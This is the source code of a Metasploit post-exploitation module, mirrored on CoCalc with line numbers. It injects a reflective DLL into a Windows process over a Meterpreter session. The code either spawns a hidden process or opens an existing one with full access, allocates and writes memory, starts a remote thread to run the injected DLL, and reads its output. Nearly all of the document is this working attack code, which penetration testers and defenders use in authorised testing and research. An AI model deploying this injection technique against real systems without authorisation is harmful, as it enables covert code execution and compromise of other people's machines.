CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/reflective_dll_inject.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::Priv
9
include Msf::Post::Windows::Process
10
include Msf::Post::Windows::ReflectiveDLLInjection
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Manage Reflective DLL Injection Module',
17
'Description' => %q{
18
This module will inject a specified reflective DLL into the memory of a
19
process, new or existing. If arguments are specified, they are passed to
20
the DllMain entry point as the lpvReserved (3rd) parameter. To read
21
output from the injected process, set PID to zero and WAIT to non-zero.
22
Make sure the architecture of the DLL matches the target process.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => ['Ben Campbell', 'b4rtik'],
26
'Platform' => 'win',
27
'SessionTypes' => ['meterpreter'],
28
'References' => [
29
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ]
30
],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
stdapi_sys_process_attach
35
stdapi_sys_process_execute
36
stdapi_sys_process_get_processes
37
stdapi_sys_process_getpid
38
stdapi_sys_process_kill
39
stdapi_sys_process_memory_allocate
40
stdapi_sys_process_memory_write
41
stdapi_sys_process_thread_create
42
]
43
}
44
}
45
)
46
)
47
register_options(
48
[
49
OptPath.new('PATH', [true, 'Reflective DLL to inject into memory of a process']),
50
OptInt.new('PID', [false, 'Pid to inject', 0]),
51
OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe']),
52
OptString.new('ARGUMENTS', [false, 'Command line arguments']),
53
OptInt.new('WAIT', [false, 'Time in seconds to wait before reading output', 0])
54
], self.class
55
)
56
57
register_advanced_options(
58
[
59
OptBool.new('KILL', [ true, 'Kill the injected process at the end of the task', false ])
60
]
61
)
62
end
63
64
def run
65
dll_path = ::File.expand_path(datastore['PATH'])
66
if File.file?(dll_path)
67
run_dll(dll_path)
68
else
69
print_bad("Dll not found #{dll_path}")
70
end
71
end
72
73
def pid_exists(pid)
74
mypid = client.sys.process.getpid.to_i
75
76
if pid == mypid
77
print_bad('Can not select the current process as the injection target')
78
return false
79
end
80
81
host_processes = client.sys.process.get_processes
82
if host_processes.empty?
83
print_bad('No running processes found on the target host.')
84
return false
85
end
86
87
theprocess = host_processes.find { |x| x['pid'] == pid }
88
89
!theprocess.nil?
90
end
91
92
def launch_process
93
process_name = datastore['PROCESS']
94
process_name << '.exe' unless process_name.end_with?('.exe')
95
96
print_status("Launching #{process_name} ...")
97
channelized = datastore['WAIT'] != 0
98
99
process = client.sys.process.execute(
100
process_name,
101
nil,
102
'Channelized' => channelized,
103
'Hidden' => true
104
)
105
106
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
107
print_good("Process #{hprocess.pid} created.")
108
[process, hprocess]
109
end
110
111
def inject_dll(process, dll_path)
112
library_path = ::File.expand_path(dll_path)
113
exploit_mem, offset = inject_dll_into_process(process, library_path)
114
[exploit_mem, offset]
115
end
116
117
def open_process
118
pid = datastore['PID'].to_i
119
120
if pid_exists(pid)
121
print_status("Opening handle to process #{datastore['PID']}...")
122
hprocess = client.sys.process.open(datastore['PID'], PROCESS_ALL_ACCESS)
123
print_good('Handle opened')
124
[nil, hprocess]
125
else
126
print_bad('Pid not found')
127
[nil, nil]
128
end
129
end
130
131
def run_dll(dll_path)
132
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
133
if (datastore['PID'] > 0) || (datastore['WAIT'] == 0)
134
print_warning('Output unavailable')
135
end
136
137
if datastore['PID'] <= 0
138
process, hprocess = launch_process
139
else
140
process, hprocess = open_process
141
end
142
143
if hprocess.nil?
144
print_bad('Execution finished')
145
return
146
end
147
148
exploit_mem, offset = inject_dll(hprocess, dll_path)
149
150
if datastore['ARGUMENTS'].nil?
151
arg_mem = nil
152
else
153
arg_mem = copy_args(hprocess)
154
end
155
156
print_status('Executing...')
157
hprocess.thread.create(exploit_mem + offset, arg_mem)
158
159
if datastore['WAIT'] != 0
160
sleep(datastore['WAIT'])
161
end
162
163
if (datastore['PID'] <= 0) && (datastore['WAIT'] != 0)
164
read_output(process)
165
end
166
167
if datastore['KILL']
168
print_good("Killing process #{hprocess.pid}")
169
client.sys.process.kill(hprocess.pid)
170
end
171
172
print_good('Execution finished.')
173
end
174
175
def copy_args(process)
176
argssize = datastore['ARGUMENTS'].size + 1
177
arg_mem = process.memory.allocate(argssize, PAGE_READWRITE)
178
params = datastore['ARGUMENTS']
179
params += "\x00"
180
181
process.memory.write(arg_mem, params)
182
arg_mem
183
end
184
185
def read_output(process)
186
print_status('Start reading output')
187
old_timeout = client.response_timeout
188
client.response_timeout = 5
189
190
begin
191
loop do
192
output = process.channel.read
193
if !output.nil? && !output.empty?
194
output.split("\n").each { |x| print_good(x) }
195
end
196
break if output.nil? || output.empty?
197
end
198
rescue Rex::TimeoutError => e
199
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
200
rescue ::Exception => e
201
print_error("Exception: #{e.inspect}")
202
end
203
204
client.response_timeout = old_timeout
205
print_status('End output.')
206
end
207
end
208
209